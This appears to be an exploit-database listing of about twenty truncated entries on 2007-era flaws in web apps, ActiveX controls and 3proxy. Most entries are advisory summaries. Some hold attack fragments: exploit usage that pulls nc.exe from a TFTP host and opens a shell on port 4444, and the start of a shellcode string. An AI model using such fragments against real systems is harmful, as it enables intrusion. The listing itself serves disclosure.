Notepad++ Ruby Source File Handling Overflow

Notepad++, a free source code editor and Notepad replacement, is installed on the remote Windows host. The version of Notepad++ installed on the remote host reportedly contains a buffer overflow involving how it processes Ruby source code files. If an attacker can trick a user on the affected hos...

phpPgAdmin 4.1.1 - SQLEDIT.php Cross-Site Scripting

phpPgAdmin 4.1.1 - SQLEDIT.php Cross-Site Scripting source: https://www.securityfocus.com/bid/24115/info phpPgAdmin is prone to a cross-site scripting vulnerability. Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of...

rdiffweb 0.3.5 - Directory Traversal

source: https://www.securityfocus.com/bid/24092/info rdiffWeb is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserve...

Rational Software Hidden Administrator 1.7 - Authentication Bypass

Hidden Administrator Authenticaiton Bypass Exploit ahmedatrewterz.com https://www.securityfocus.com/bid/24049 C:\python rewt-ha-exp.py Usage: rewt-ha-exp.py -h -p -t make sure nc.exe exists on tftpd server C:\telnet 192.168.1.4 4444 C:\python rewt-ha-exp.py -h 192.168.1.4 -p 3128 -t 192.168.1.105...

PsychoStats 2.3 - Server.php Full Path Disclosure

PsychoStats 2.3 - Server.php Full Path Disclosure source: https://www.securityfocus.com/bid/24039/info PsychoStats is prone to a path-disclosure issue when invalid data is submitted. Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks...

VP-ASP Shopping Cart 6.50 - 'ShopContent.asp' Cross-Site Scripting

source: https://www.securityfocus.com/bid/24033/info VP-ASP Shopping Cart is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting...

Jetbox CMS 2.1 Email - 'FormMail.php' Input Validation

source: https://www.securityfocus.com/bid/23989/info Jetbox CMS is prone to an input-validation vulnerabilitiy because it fails to adequately sanitize user-supplied input. Attackers can exploit this issue to send spam email in the context of the application. Jetbox 2.1 is vulnerable; other versio...

Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================ Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit ============================================================ Taltech Tal Bar Code ActiveX Control Buffer Overflow...

Campsite 2.6.1 - issue.php?g_documentRoot Remote File Inclusion

Campsite 2.6.1 - issue.php?gdocumentRoot Remote File Inclusion source: https://www.securityfocus.com/bid/23874/info Campsite is prone to multiple remote file-include vulnerabilities. Exploiting this issue allows remote attackers to execute code in the context of the webserver. This issue affects...

IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit

No description provided by source. !-- =============================================================================================== IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit By Umesh Wanve...

Campsite 2.6.1 - 'LocalizerLanguage.php?g_documentRoot' Remote File Inclusion

source: https://www.securityfocus.com/bid/23874/info Campsite is prone to multiple remote file-include vulnerabilities. Exploiting this issue allows remote attackers to execute code in the context of the webserver. This issue affects Campsite 2.6.1. Earlier versions may also be affected...

IncrediMail IMMenuShellExt - ActiveX Control Buffer Overflow

IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit - By Umesh Wanve shellcode=unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36"...

Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit

No description provided by source. !-- =============================================================================================== Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit By Umesh Wanve...

Taltech Tal Bar Code - ActiveX Control Buffer Overflow

Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit - By Umesh Wanve targetFile = "C:\Program Files\TAL Bar Code ActiveX Demo\TALBarCd.OCX" prototype = "Sub SaveBarCode ByVal FileName As String " memberName = "SaveBarCode" progid = "TALBarCode.TALBarCd" argCount = 1...

Campsite 2.6.1 - 'DatabaseObject.php?g_documentRoot' Remote File Inclusion

source: https://www.securityfocus.com/bid/23874/info Campsite is prone to multiple remote file-include vulnerabilities. Exploiting this issue allows remote attackers to execute code in the context of the webserver. This issue affects Campsite 2.6.1. Earlier versions may also be affected...

Campsite 2.6.1 - '/implementation/Management/configuration.php?g_documentRoot' Remote File Inclusion

source: https://www.securityfocus.com/bid/23874/info Campsite is prone to multiple remote file-include vulnerabilities. Exploiting this issue allows remote attackers to execute code in the context of the webserver. This issue affects Campsite 2.6.1. Earlier versions may also be affected...

Campsite 2.6.1 - 'SubscriptionDefaultTime.php?g_documentRoot' Remote File Inclusion

source: https://www.securityfocus.com/bid/23874/info Campsite is prone to multiple remote file-include vulnerabilities. Exploiting this issue allows remote attackers to execute code in the context of the webserver. This issue affects Campsite 2.6.1. Earlier versions may also be affected...

3proxy 0.5.3g proxy.c logurl() Remote Overflow Exploit (exec-shield)

No description provided by source. / Fedora Core 5,6 exec-shield based 3proxy HTTP Proxy 3proxy-0.5.3g.tgz remote overflow root exploit reverse connect-back method by Xpl017Elz Advanced exploitation in exec-shield Fedora Core case study URL:...

PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion

PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion source: https://www.securityfocus.com/bid/23801/info PHPSecurityAdmin is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise...

DynaTracker 1.5.1 - includes_handler.php?base_path Remote File Inclusion

DynaTracker 1.5.1 - includeshandler.php?basepath Remote File Inclusion source: https://www.securityfocus.com/bid/23667/info DynaTracker is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an...